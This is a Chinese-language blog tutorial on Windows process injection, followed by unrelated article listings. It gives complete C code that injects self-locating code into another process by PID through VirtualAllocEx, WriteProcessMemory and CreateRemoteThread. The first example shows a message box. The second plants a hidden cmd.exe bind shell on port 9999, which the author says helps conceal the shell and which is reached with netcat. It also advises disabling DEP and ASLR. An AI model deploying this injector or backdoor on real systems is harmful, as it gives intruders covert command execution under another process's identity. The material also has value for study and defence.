1.12 進程註入ShellCode套接字

来源:https://www.cnblogs.com/LyShark/archive/2023/09/01/17671120.html
-Advertisement-
Play Games

在筆者前幾篇文章中我們一直在探討如何利用`Metasploit`這個滲透工具生成`ShellCode`以及如何將ShellCode註入到特定進程內,本章我們將自己實現一個正向`ShellCode`Shell,當進程被註入後,則我們可以通過利用NC等工具連接到被註入進程內,並以對方的許可權及身份執行命令... ...


在筆者前幾篇文章中我們一直在探討如何利用Metasploit這個滲透工具生成ShellCode以及如何將ShellCode註入到特定進程內,本章我們將自己實現一個正向ShellCodeShell,當進程被註入後,則我們可以通過利用NC等工具連接到被註入進程內,並以對方的許可權及身份執行命令,該功能有利於於Shell的隱藏。本章的內容其原理與《運用C語言編寫ShellCode代碼》中所使用的原理保持一致,通過動態定位到我們所需的網路通信函數並以此來構建一個正向Shell,本章節內容對Metasploit工具生成的Shell原理的理解能夠起到促進作用。

讀者需要理解,套接字(socket)是電腦網路中一種特殊的文件,是網路通信中的一種技術,用於實現進程之間的通信和網路中數據的傳輸。在網路通信中,套接字就像一條傳送數據的管道,負責數據的傳輸和接收。而socket(套接字)是在網路通信中最常用的一種通信協議,它定義了一組用於網路通信的API。通過使用socket,程式員可以在不同的電腦之間進行通信。讀者可以將兩者理解為一個意思。

1.12.1 讀入Kernel32模塊基址

為了能讓讀者更清晰的認識功能實現細節,首先筆者先來實現一個簡單的讀取特定模塊內函數的入口地址,並輸出該模塊地址的功能,需要註意的是,在之前的文章中筆者已經介紹了這種讀取技術,當時使用的是彙編版實現,由於需要自定位代碼的支持導致彙編語言的實現過於繁瑣,其實此類代碼在應用層實現僅僅只需要調用GetProcAddress()即可獲取到核心參數,其實先細節如下所示;

#include <iostream>
#include <Windows.h>

// Kernel32 調用約定定義
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

typedef struct _ShellBase
{
  // 針對Kernel32的操作
  HANDLE KernelHandle;        // 存儲句柄
  char kernelstring[20];      // 存儲字元串 kernel32.dll

  // 針對User32的操作
  HANDLE UserHandle;         // 存儲句柄    
  char userstring[20];       // 存儲字元串 user32.dll

  // 定義函數指針
  LOADLIBRARY KernelLoadLibrary;
  GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;

int main(int argc,char *argv[])
{
  ShellParametros Param;
  
  // 得到載入基地址的工具函數
  Param.KernelHandle = LoadLibrary("kernel32.dll");
  Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
  Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
  
  printf("獲取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);

  system("pause");
  return 0;
}

這段代碼主要是定義了一個結構體ShellParametros,並初始化了其中的一些參數。該結構體中定義了兩個HANDLE類型的變數KernelHandleUserHandle,分別用於存儲kernel32.dlluser32.dll的句柄。同時,也定義了兩個字元串數組kernelstringuserstring,用於存儲對應的庫名。

接下來,定義了兩個函數指針類型LOADLIBRARYGETPROCADDRESS,分別用於後續的動態庫載入和函數導出操作。

main函數中,首先初始化了ShellParametros結構體類型的變數Param。然後,調用LoadLibrary函數載入kernel32.dll庫,並通過GetProcAddress函數分別獲取LoadLibraryAGetProcAddress函數的地址,並將它們賦值給Param.KernelLoadLibraryParam.KernelGetProcAddress函數指針變數。最終列印出獲取到的kernel32.dll的基地址,以及等待用戶按下任意鍵退出程式。

該代碼拆分來看,首先是入口處的結構體定義部分,這部分定義了一個結構體ShellParametros,其中包含了對於kernel32.dlluser32.dll庫的操作的句柄和字元串,以及相關的函數指針類型LOADLIBRARYGETPROCADDRESS

// Kernel32 調用約定定義
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

typedef struct _ShellBase
{
    // 針對Kernel32的操作
    HANDLE KernelHandle;        // 存儲句柄
    char kernelstring[20];      // 存儲字元串 kernel32.dll

    // 針對User32的操作
    HANDLE UserHandle;         // 存儲句柄    
    char userstring[20];       // 存儲字元串 user32.dll

    // 定義函數指針
    LOADLIBRARY KernelLoadLibrary;
    GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;

而在主函數中,首先聲明瞭一個結構體變數Param,然後調用LoadLibrary函數載入kernel32.dll庫,將得到的句柄存儲到Param.KernelHandle中。接著通過調用GetProcAddress函數獲取LoadLibraryAGetProcAddress函數的地址,將得到的函數地址分別存儲到Param.KernelLoadLibraryParam.KernelGetProcAddress中。最後通過printf函數列印出獲取到的Kernel32.dll的基址。

int main(int argc, char *argv[])
{
    ShellParametros Param;

    // 得到載入基地址的工具函數
    Param.KernelHandle = LoadLibrary("kernel32.dll");
    Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
    Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");

    printf("獲取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);
    printf("獲取到KernelLoadLibrary = 0x%08X \n", Param.KernelLoadLibrary);
    printf("獲取到GetProcAddress = 0x%08X \n", Param.KernelGetProcAddress);

    system("pause");
    return 0;
}

這段代碼沒有任何難度,相信讀者能夠理解其實先的核心原理,當讀者運行此段代碼,則會分別輸出Kernel32.dllLoadLibraryAGetProcAddress這三個模塊函數的基址,輸出效果如下圖所示;

1.12.2 進程註入MsgBox彈窗

通過進程註入功能將一個具有自定位功能的函數的機器碼註入到遠程進程中,並運行輸出一個彈窗,該功能的輸出形式與前幾章中的內容很相似,但卻有本質的不同,首先前幾章內容中我們註入的數據為純粹的ShellCode代碼,此類代碼的缺陷在於一旦被生成則在註入時無法動態更改參數,而本章實現的註入技術則是動態填充記憶體並註入,從實用價值上來說本章中所演示的註入技術將更加通用及靈活。

動態彈窗的註入技術同樣需要定義關鍵函數指針,如下將分別定義三個函數指針,這些API函數的函數指針類型定義:

  • LOADLIBRARY:LoadLibrary函數的函數指針類型,用於將動態鏈接庫(DLL)載入到調用進程的地址空間中。
  • GETPROCADDRESS:GetProcAddress函數的函數指針類型,用於從DLL中檢索導出函數或變數的地址。
  • MESSAGEBOX:MessageBox函數的函數指針類型,用於創建、顯示和操作消息框。WINAPI調用約定指定瞭如何傳遞函數參數和清理堆棧。

這些函數指針類型通常用於動態載入DLL和運行時鏈接導出函數。通過使用這些函數指針,程式可以在運行時獲取函數地址並動態調用它們。

// Kernel32 調用約定定義
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

// User32 中針對MessageBox的調用約定定義
typedef int(WINAPI* MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

接著我們需要定義一個ShellParametros結構體,該結構體的作用是用與傳遞參數到子線程MyShell(ShellParametros* ptr)中以供其使用,當然讀者也可以使用普通變數形式,只是普通變數在參數傳遞時沒有傳遞結構方便快捷,如下從結構中可看出,我們分別傳遞kernel32.dll,LoadLibrary,GetProcAddressMessageBoxA的函數地址,並附帶有該函數彈窗User_MsgBox的提示信息;

typedef struct _ShellBase
{
  // 針對Kernel32的操作
  HANDLE Kernel32Base;
  char KernelString[20]; // kernel32.dll
  
  LOADLIBRARY Kernel_LoadLibrary;
  GETPROCADDRESS Kernel_GetProcAddress;

  // 針對User32的操作
  HANDLE User32Base;
  char UserString[20];   // 存儲 user32.dll 字元串
  char User_MsgBox[20];  // 存儲 MessageBoxA 字元串

  // 輸出一段話
  char Text[32];

}ShellParametros;

接著就是關於__stdcall MyShell(ShellParametros*);函數的封裝,這是一個用於遠程線程的函數定義,函數名為MyShell,採用__stdcall調用約定。該函數的參數是一個名為ptr的指向ShellParametros結構體的指針。

函數的實現包括以下步驟:

  • 1.通過調用ptr->Kernel_LoadLibrary函數動態載入指定的Kernel32User32庫,並將它們的句柄保存在ptr->Kernel32Baseptr->User32Base變數中。
  • 1.使用 ptr->Kernel_GetProcAddress 函數獲取 User32 庫中名為 ptr->User_MsgBox 的導出函數的地址,並將其轉換為 MESSAGEBOX 函數指針類型的變數 msgbox
  • 1.調用 msgbox 函數,顯示 ptr->Text 變數中保存的文本內容。

該函數的作用是在遠程線程中動態載入Kernel32User32庫,並調用User32庫中的MessageBox函數顯示指定的文本內容。

void __stdcall MyShell(ShellParametros*);

// 定義遠程線程函數
void __stdcall MyShell(ShellParametros* ptr)
{
  ptr->Kernel32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->KernelString);
  ptr->User32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->UserString);

  // printf("動態獲取到Kernel32基地址 = %x \n", ptr->Kernel32Base);
  // printf("動態獲取到User32基地址 = %x \n", ptr->User32Base);

  // MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
  MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->Kernel_GetProcAddress)((HINSTANCE)ptr->User32Base, ptr->User_MsgBox);
  
  //printf("MessageBox 基地址 = %x \n", msgbox);
  msgbox(0, ptr->Text, 0, 0);
}

最後我們來看一下在主函數中我們需要做什麼,在主函數中通過GetProcAddress函數分別得到我們所需要的函數入口地址,並通過調用strcpy函數分別將所需參數寫出到ShellParametros結構體中保存,當一切準備就緒再通過OpenProcess打開遠程進程,並設置一段讀寫執行記憶體空間,並調用WriteProcessMemoryMyShell函數寫出到該記憶體中保存,最後調用CreateRemoteThread開闢遠程線程,執行彈窗功能;

這段代碼主要包括以下步驟:

  • 1.定義了一個ShellParametros類型的變數Param和一個指向ShellParametros結構體的指針remote,並聲明瞭一個HANDLE類型的變數hProcess和一個void*類型的變數p
  • 2.使用LoadLibraryGetProcAddress函數獲取Kernel32庫中的LoadLibraryGetProcAddress函數的地址,並將其保存到Param結構體的相應欄位中。
  • 3.分別將 kernel32.dlluser32.dll 的文件名字元串保存到 Param 結構體的相應欄位中,並將需要註入的代碼函數名和文本字元串分別保存到 Param 結構體的相應欄位中。
  • 4.使用 OpenProcess 函數打開指定 PID 的進程,並分別使用 VirtualAllocEx 函數在該進程中分配記憶體空間,分別保存註入代碼和 Param 結構體的數據。
  • 5.使用 WriteProcessMemory 函數將註入代碼和 Param 結構體的數據寫入到指定進程中的記憶體空間中。
  • 6.使用 CreateRemoteThread 函數創建一個遠程線程,將註入代碼的地址和 Param 結構體的地址傳遞給遠程線程,併在指定進程中執行註入的代碼。

代碼的作用是在指定進程中註入代碼,並調用該代碼中的 MyShell 函數,該函數將動態載入 Kernel32User32 庫,並調用 User32 庫中的 MessageBox 函數顯示指定的文本內容。

int main(int argc, char* argv[])
{
    ShellParametros Param, *remote = NULL;
    HANDLE hProcess;
    void* p = NULL;

    // 進程PID
    int ProcessID = 4016;

    // 得到載入基地址的工具函數
    Param.Kernel32Base = LoadLibrary("kernel32.dll");
    Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
    Param.Kernel_GetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
    // printf("獲取到Kernel32.dll = %x", Param.KernelHandle);

    // 分別獲取Kernel32與User32的對應字元串
    strcpy(Param.KernelString, "kernel32.dll");
    strcpy(Param.UserString, "user32.dll");

    strcpy(Param.User_MsgBox, "MessageBoxA");
    strcpy(Param.Text, "hello lyshark");

    // 根據PID註入代碼到指定進程中
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
    p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    remote = (ShellParametros*)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
    WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
    CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);

    // MyShell(&Param);
    return 0;
}

至此讀者可以將上述代碼編譯下來,但需要註意的是,由於我們採用了動態生成ShellCode的功能,所以在使用此類代碼是應關閉編譯環境中的DEP及ASLR機制,否則由於地址的動態變化我們的代碼將無法成功定位函數入口,也就無法註入Shell;

DEP(Data Execution Prevention)保護是一種防止攻擊者在記憶體中執行惡意代碼的技術。它通過將記憶體中的數據和代碼區分開來,從而使得攻擊者無法在數據區執行代碼。DEP保護通過硬體和軟體兩種方式來實現。硬體實現通過CPU硬體中的NX位,禁止在數據區執行代碼。軟體實現通過操作系統內核檢查每個進程中的記憶體頁面的屬性,禁止在非執行屬性(NX)頁面上執行代碼。

ASLR(Address Space Layout Randomization)是一種防止攻擊者利用緩衝區溢出等漏洞攻擊的技術。它通過在每次程式運行時隨機地分配記憶體地址,使得攻擊者難以確定記憶體地址的位置,從而難以實現攻擊。ASLR可以在操作系統內核、編譯器和二進位代碼等多個層面實現,如在編譯時生成隨機堆棧和堆地址、載入時隨機化記憶體基地址等。

這兩種技術都可以增強操作系統的安全性,防止惡意代碼的攻擊和利用。DEP保護主要針對代碼執行方面,ASLR則主要針對代碼和數據在記憶體中的分佈方面。同時,兩者也有一些弱點和缺陷,例如DEP保護可以被一些攻擊技術繞過,ASLR的隨機性可能會被暴力破解或者信息泄露等方式破壞。因此,在實際應用中需要綜合考慮多種安全技術,以提高系統的安全性。

修改int ProcessID並改為被註入進程的PID=4016,然後直接運行註入程式,則讀者會看到被註入進程彈出了一個MessageBox提示框,則說名我們的自定義Shell已經註入成功並運行了;

1.12.3 進程註入MyShell正向Shell

經過前面兩個小案例的總結讀者應該能夠理解如何自己編寫一個動態ShellCode註入軟體了,但是上述提到的這些功能並不具備真正的意義,而本章將繼續延申,並實現一種可被連接的正向ShellShell,在此案例中讀者需要理解一種綁定技術,在預設情況下,Windows系統中的每一個進程都存在標準輸入、輸出和錯誤流的匿名管道,而cmd.exe進程同樣存在這三種管道,要實現正向Shell,一般而言攻擊者會創建一個監聽指定埠的網路套接字,並將其綁定到一個命令行解釋器(如 cmd.exe)的標準輸入和輸出流上,這樣攻擊者即可通過這個管道來使用遠程的CMD命令行,並以此達到控制對方的目的。

將CMD綁定到套接字上通常涉及以下步驟:

  • 創建一個監聽套接字,以便在客戶端連接之前等待連接。監聽套接字可以是TCP或UDP類型。
  • 調用bind()函數將監聽套接字綁定到本地IP地址和埠上。這是讓客戶端知道要連接哪個地址和埠的關鍵步驟。
  • 調用listen()函數將監聽套接字轉換為被動套接字,並設置等待連接的隊列的最大長度。
  • 調用accept()函數來接受客戶端連接,這將創建一個新的套接字,它與客戶端套接字相關聯。
  • 調用CreateProcess()函數啟動cmd.exe進程,並將標準輸入、輸出和錯誤流重定向到新創建的套接字上。

首先我們需要定義所需要調用的函數指針,下方代碼定義了一組函數指針,每個函數指針都指向一個API函數,包括 LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect 和 CreateProcess。這些函數與動態鏈接庫、套接字通信、網路編程、創建進程等有關。

#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

// 定義各種指針變數
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE, LPCSTR);

typedef int (WINAPI* BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI* ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI* LISTEN) (SOCKET, int);
typedef int (WINAPI* WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI* WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI* WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI* CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

接著我們需要在原始ShellParametros中進行擴充,根據所需函數的多少來定義承載該函數記憶體地址的指針類型;

typedef struct
{
  HANDLE          KernelHandle;
  char            kernelstring[20];        // 存儲kernel32.dll字元串
  char            CreateProcessstring[20]; // 存放函數名字字元串
  LOADLIBRARY     KernelLoadLibrary;
  GETPROCADDRESS  KernelGetProcAddress;
  CREATEPROCESS   KernelCreateProcess;

  HANDLE      WSAHandle;
  char        wsastring[20];
  char        wsastartupstring[20];
  char        WSASocketString[20];
  char        WSAConnectstring[20];
  char        bindstring[20];
  char        acceptstring[10];
  char        listenstring[10];
  
  WSASTARTUP  ShellWsaStartup;
  ACCEPT      ShellAccept;
  BIND        ShellBind;
  WSACONNECT  ShellWsaConnect;
  WSASOCKET   ShellWSASocket;
  LISTEN      ShellListen;

  unsigned short port;
  char cmd[255];
} PARAMETROS;

接著再來看核心MyShellShell實現函數,如下代碼實現了一個遠程Shell,通過動態鏈接庫實現對API函數的調用。

首先,通過調用 LoadLibraryGetProcAddress 函數,獲取到 ws2.dllkernel32.dll 中的函數地址,分別是 WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess。

然後,通過調用 WSAStartup 函數初始化套接字編程,創建一個套接字,並綁定在一個埠。通過 Listen 函數監聽連接請求,並使用 Accept 函數接收連接請求。

當有連接請求時,使用 CreateProcess 函數創建一個進程,並將標準輸入、輸出和錯誤重定向到網路套接字,實現遠程 Shell。

// 調用的遠程Shell代碼
void __stdcall MyShell(PARAMETROS* ptr)
{
  STARTUPINFO si;
  struct sockaddr_in sa;
  PROCESS_INFORMATION pi;
  int s, n;
  WSADATA HWSAdata;

  // 通過GetProcAddress獲取到ws2.dll中的所有函數地址
  ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
  ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
  ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
  ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
  ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
  ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
  ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);

  // 通過GetProcAddress獲取到kernel32.dll中的所有函數地址
  ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
  ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
  ptr->ShellWsaStartup(0x101, &HWSAdata);
  
  s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = ptr->port;
  sa.sin_addr.s_addr = 0;
  ptr->ShellBind(s, (struct sockaddr*)&sa, 16);
  ptr->ShellListen(s, 1);

  while (1)
  {
    n = ptr->ShellAccept(s, (struct sockaddr*)&sa, NULL);
    si.cb = sizeof(si);
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; // 0x101
    si.hStdInput = si.hStdOutput = si.hStdError = (void*)n;
    si.lpDesktop = si.lpTitle = (char*)0x0000;
    si.lpReserved2 = NULL;
    ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
  }
}

最後再來看一下實現調用的主函數,代碼中通過argv[1]也就是命令行參數傳遞,並綁定到(unsigned short)9999埠上,通過GetProcAddress依次獲取所需函數記憶體地址並使用strcpy初始化結構體PARAMETROS,最後直接調用CreateRemoteThread實現線程Shell反彈。

  • 通過 LoadLibrary 和 GetProcAddress 函數獲取到 kernel32.dll 中 LoadLibrary 和 GetProcAddress 函數的地址。然後,通過 strcpy 函數初始化一個 PARAMETROS 結構體,並填充該結構體的各個欄位。
  • 通過 OpenProcess 函數打開目標進程,使用 VirtualAllocEx 函數在目標進程中分配記憶體,並使用 WriteProcessMemory 函數將代碼和參數複製到目標進程的記憶體中。
  • 通過 CreateRemoteThread 函數在目標進程中創建一個線程,並將線程的入口點設置為 MyShell 函數,這樣就實現了進程註入。
int main(int argc, char* argv[])
{
  void* p = NULL;
  HANDLE hProcess;
  PARAMETROS parametros, * remote;
    
  if (argc == 2)
  {
    int PID = atoi(argv[1]);
    memset((void*)&parametros, 0, sizeof(PARAMETROS));
    strncpy(parametros.cmd, "cmd", sizeof("cmd") - 1);
    parametros.port = htons((unsigned short)9999);

    printf("[-] PID = %d \n", PID);
    // 獲取到動態鏈接庫載入函數地址
    parametros.KernelHandle = LoadLibrary("kernel32.dll");
    parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
    parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");

    // 拷貝 winsock 字元串
    strcpy(parametros.wsastring, "ws2_32.dll");
    strcpy(parametros.wsastartupstring, "WSAStartup");
    strcpy(parametros.WSASocketString, "WSASocketW");
    strcpy(parametros.WSAConnectstring, "WSAConnect");
    strcpy(parametros.bindstring, "bind");
    strcpy(parametros.acceptstring, "accept");
    strcpy(parametros.listenstring, "listen");

    // 拷貝 kernel32 字元串
    strcpy(parametros.kernelstring, "kernel32.dll");
    strcpy(parametros.CreateProcessstring, "CreateProcessA");

    // 開始註入代碼
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    remote = (PARAMETROS*)VirtualAllocEx(hProcess, 0, sizeof(parametros), MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
    WriteProcessMemory(hProcess, remote, &parametros, sizeof(PARAMETROS), 0);
    CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);
    // CreateRemoteThread(hProcess, 0, 0, (DWORD(WINAPI *)(void *)) p, remote, 0, 0);
    printf("[+] 已註入進程 %d \n", PID);
  }
  return 0;
}

編譯上述代碼片段,並找到對應進程PID,通過參數MyShell.exe 8624傳入被註入進程PID號,當註入成功後,會提示進程請求聯網,此時一個不具備網路通信功能的進程,因我們註入了ShllShell,則自然就具備了網路通信的能力,如下圖所示;

此時讀者可下載32位版本的NC,通過使用執行命令nc [遠程IP地址] [埠]連接到進程內部;

小提示:Netcat是一款網路工具,也稱為nc工具,可以在不同的電腦之間進行數據傳輸。它可以在命令行中使用,並支持TCP/IP和UDP協議,其被譽為黑客界的瑞士軍刀,是每個安全從業者不可或缺的利器。
官方網站:https://eternallybored.org/misc/netcat/

當連接到進程內部則會反彈一個CMDShell此時在該CMD下的所有操作都會被標記為宿主進程的操作。

本文作者: 王瑞
本文鏈接: https://www.lyshark.com/post/3e10758e.html
版權聲明: 本博客所有文章除特別聲明外,均採用 BY-NC-SA 許可協議。轉載請註明出處!


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • # 字元編碼的介紹 - 前提知識瞭解 - 字元編輯的介紹 - 字元編輯的發展 - UTF-8的由來 - 字元編碼的應用 - 編碼和解碼 ## 前提知識瞭解 ### 三大核心硬體 ```python 所有軟體都是運行硬體之上的,與運行軟體相關的三大核心硬體為cpu、記憶體、硬碟,我們需要明確三點 #1、 ...
  • 切片與數組類似,但更強大和靈活。與數組一樣,切片也用於在單個變數中存儲相同類型的多個值。然而,與數組不同的是,切片的長度可以根據需要增長和縮小。在 Go 中,有幾種創建切片的方法: 1. 使用`[]datatype{values}`格式 2. 從數組創建切片 3. 使用 `make()`函數 使用 ...
  • # 代理模式 目標類和代理類,不是直接調用目標類對象,而是通過調用代理類的對象的方法,代理類來幫我們訪問目標類對象,這樣我們就可以在代理類上添加更多需要的擴展功能,而目標類不用改動,只用實現自身的主要功能。 代理類是為了擴展目標類的功能,代理類和目標類的產出結果應該相同,所以為了確保代理類和目標類的 ...
  • 本文翻譯自國外論壇 medium,原文地址:https://medium.com/@fullstacktips/best-practices-for-memory-management-in-java-17084c4a7eec 記憶體管理是編程的一個基本領域之一,尤其是在 Java 開發中。當不再需要 ...
  • ## pprof簡介 `pprof`是Go語言的一個性能分析庫,它可以幫助開發者找出程式中的性能瓶頸。`pprof`提供了CPU分析、記憶體分析、阻塞分析等多種性能分析功能。 以下是`pprof`的主要特性: 1. **CPU分析**:`pprof`可以記錄程式在CPU上的運行時間,並將這些數據以火焰 ...
  • [TOC]([Qt開發探幽(二)]淺談關於元對象,巨集和Q_ENUM) # [Qt開發探幽(二)]淺談關於元對象,巨集和Q_ENUM ## 前言 最近在開發的時候,我自己寫了一套虛函數。這也是我第一次寫這麼大一個框架,遇到了一些有點莫名其妙的問題(也不能算莫名奇妙,只能說有點玩不明白),詳情可以見 [[ ...
  • acwing學習筆記,記錄容易忘記的知識點和難題。快速排序、歸併排序、整數二分、浮點數二分、高精度運算、一維首碼和、二維首碼和、一維差分、二維差分、雙指針演算法、位運算、整數離散化、區間合併 ...
  • 使用`Matplotlib`對分析結果可視化時,比較各類分析結果是常見的場景。在這類場景之下,將多個分析結果繪製在一張圖上,可以幫助用戶方便地組合和分析多個數據集,提高數據可視化的效率和準確性。 本篇介紹`Matplotlib`繪製子圖的常用方式和技巧。 # 1. 添加子圖的方式 添加子圖主要有兩種 ...
一周排行
    -Advertisement-
    Play Games
  • 一個自定義WPF窗體的解決方案,借鑒了呂毅老師的WPF製作高性能的透明背景的異形視窗一文,併在此基礎上增加了滑鼠穿透的功能。可以使得透明窗體的滑鼠事件穿透到下層,在下層窗體中響應。 ...
  • 在C#中使用RabbitMQ做個簡單的發送郵件小項目 前言 好久沒有做項目了,這次做一個發送郵件的小項目。發郵件是一個比較耗時的操作,之前在我的個人博客裡面回覆評論和友鏈申請是會通過發送郵件來通知對方的,不過當時只是簡單的進行了非同步操作。 那麼這次來使用RabbitMQ去統一發送郵件,我的想法是通過 ...
  • 當你使用Edge等瀏覽器或系統軟體播放媒體時,Windows控制中心就會出現相應的媒體信息以及控制播放的功能,如圖。 SMTC (SystemMediaTransportControls) 是一個Windows App SDK (舊為UWP) 中提供的一個API,用於與系統媒體交互。接入SMTC的好 ...
  • 最近在微軟商店,官方上架了新款Win11風格的WPF版UI框架【WPF Gallery Preview 1.0.0.0】,這款應用引入了前沿的Fluent Design UI設計,為用戶帶來全新的視覺體驗。 ...
  • 1.簡單使用實例 1.1 添加log4net.dll的引用。 在NuGet程式包中搜索log4net並添加,此次我所用版本為2.0.17。如下圖: 1.2 添加配置文件 右鍵項目,添加新建項,搜索選擇應用程式配置文件,命名為log4net.config,步驟如下圖: 1.2.1 log4net.co ...
  • 之前也分享過 Swashbuckle.AspNetCore 的使用,不過版本比較老了,本次演示用的示例版本為 .net core 8.0,從安裝使用開始,到根據命名空間分組顯示,十分的有用 ...
  • 在 Visual Studio 中,至少可以創建三種不同類型的類庫: 類庫(.NET Framework) 類庫(.NET 標準) 類庫 (.NET Core) 雖然第一種是我們多年來一直在使用的,但一直感到困惑的一個主要問題是何時使用 .NET Standard 和 .NET Core 類庫類型。 ...
  • WPF的按鈕提供了Template模板,可以通過修改Template模板中的內容對按鈕的樣式進行自定義。結合資源字典,可以將自定義資源在xaml視窗、自定義控制項或者整個App當中調用 ...
  • 實現了一個支持長短按得按鈕組件,單擊可以觸發Click事件,長按可以觸發LongPressed事件,長按鬆開時觸發LongClick事件。還可以和自定義外觀相結合,實現自定義的按鈕外形。 ...
  • 一、WTM是什麼 WalkingTec.Mvvm框架(簡稱WTM)最早開發與2013年,基於Asp.net MVC3 和 最早的Entity Framework, 當初主要是為瞭解決公司內部開發效率低,代碼風格不統一的問題。2017年9月,將代碼移植到了.Net Core上,併進行了深度優化和重構, ...